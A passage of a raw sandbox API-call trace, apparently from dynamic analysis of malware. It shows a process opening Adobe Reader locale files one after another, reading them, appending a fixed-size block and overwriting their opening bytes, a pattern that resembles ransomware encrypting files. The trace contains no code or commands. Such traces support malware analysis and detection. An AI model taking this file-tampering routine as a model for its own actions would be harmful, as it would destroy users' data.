lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2a00 [0039.510] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.510] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.510] ReleaseMutex (hMutex=0x128) returned 1 [0039.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NOR", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.NOR", lpUsedDefaultChar=0x0) returned 9 [0039.510] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.514] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1a00 [0039.514] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.521] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1a00 [0039.521] WriteFile (in: hFile=0x1a8, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.521] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.521] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.521] CloseHandle (hObject=0x1a8) returned 1 [0039.522] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Spelling.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\spelling.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.522] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.522] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2800 [0039.522] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.522] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.522] ReleaseMutex (hMutex=0x128) returned 1 [0039.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NOR", cchWideChar=12, lpMultiByteStr=0x1e630ac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.NOR", lpUsedDefaultChar=0x0) returned 12 [0039.522] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.532] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1800 [0039.532] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.536] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1800 [0039.536] WriteFile (in: hFile=0x1a8, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.537] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.537] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.537] CloseHandle (hObject=0x1a8) returned 1 [0039.537] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DVA.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\dva.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.537] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.537] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4c00 [0039.537] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.537] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.537] ReleaseMutex (hMutex=0x128) returned 1 [0039.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NLD", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0039.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NLD", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.NLD", lpUsedDefaultChar=0x0) returned 7 [0039.537] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.550] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3c00 [0039.550] ReadFile (in: hFile=0x1a8, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.557] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3c00 [0039.557] WriteFile (in: hFile=0x1a8, lpBuffer=0x2617c48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2617c48*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.558] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.558] WriteFile (in: hFile=0x1a8, lpBuffer=0x2771388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.558] CloseHandle (hObject=0x1a8) returned 1 [0039.558] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\reflow.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\reflow.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.559] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.559] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1200 [0039.559] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.559] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.559] ReleaseMutex (hMutex=0x128) returned 1 [0039.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NLD", cchWideChar=10, lpMultiByteStr=0x1e6324c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.NLD", lpUsedDefaultChar=0x0) returned 10 [0039.559] ReadFile (in: hFile=0x1a8, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x340f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0039.568] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0039.568] WriteFile (in: hFile=0x1a8, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x340f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0039.569] CloseHandle (hObject=0x1a8) returned 1 [0039.569] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Acroform.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\acroform.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.569] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.569] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x68200 [0039.569] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.569] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.569] ReleaseMutex (hMutex=0x128) returned 1 [0039.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.POL", cchWideChar=12, lpMultiByteStr=0x1e6306c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.POL", lpUsedDefaultChar=0x0) returned 12 [0039.569] ReadFile (in: hFile=0x1a8, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.577] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x67200 [0039.578] ReadFile (in: hFile=0x1a8, lpBuffer=0x1dacf08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dacf08*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.770] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x67200 [0039.770] WriteFile (in: hFile=0x1a8, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.771] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.771] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.771] CloseHandle (hObject=0x1a8) returned 1 [0039.771] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\makeaccessible.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\makeaccessible.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.771] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.772] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x12400 [0039.772] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.772] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.772] ReleaseMutex (hMutex=0x128) returned 1 [0039.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.POL", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0039.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.POL", cchWideChar=18, lpMultiByteStr=0x1e789ec, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.POL", lpUsedDefaultChar=0x0) returned 18 [0039.772] ReadFile (in: hFile=0x1a8, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.773] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x11400 [0039.773] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.774] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x11400 [0039.774] WriteFile (in: hFile=0x1a8, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.774] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.775] WriteFile (in: hFile=0x1a8, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.775] CloseHandle (hObject=0x1a8) returned 1 [0039.775] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.775] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.775] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x94c7 [0039.775] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.775] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.775] ReleaseMutex (hMutex=0x128) returned 1 [0039.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6342c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0039.775] ReadFile (in: hFile=0x1a8, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.777] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x84c7 [0039.777] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.777] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x84c7 [0039.777] WriteFile (in: hFile=0x1a8, lpBuffer=0x1deef78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef78*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.778] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.778] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.778] CloseHandle (hObject=0x1a8) returned 1 [0039.778] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Checkers.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\checkers.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.778] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.778] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1f000 [0039.778] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.778] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.779] ReleaseMutex (hMutex=0x128) returned 1 [0039.779] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.779] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.PTB", cchWideChar=12, lpMultiByteStr=0x1e6326c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.PTB", lpUsedDefaultChar=0x0) returned 12 [0039.779] ReadFile (in: hFile=0x1a8, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.780] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1e000 [0039.780] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.781] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1e000 [0039.781] WriteFile (in: hFile=0x1a8, lpBuffer=0x1deef78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef78*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.781] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.781] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.781] CloseHandle (hObject=0x1a8) returned 1 [0039.781] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\RdLang32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\rdlang32.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.782] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.782] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x150600 [0039.782] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: 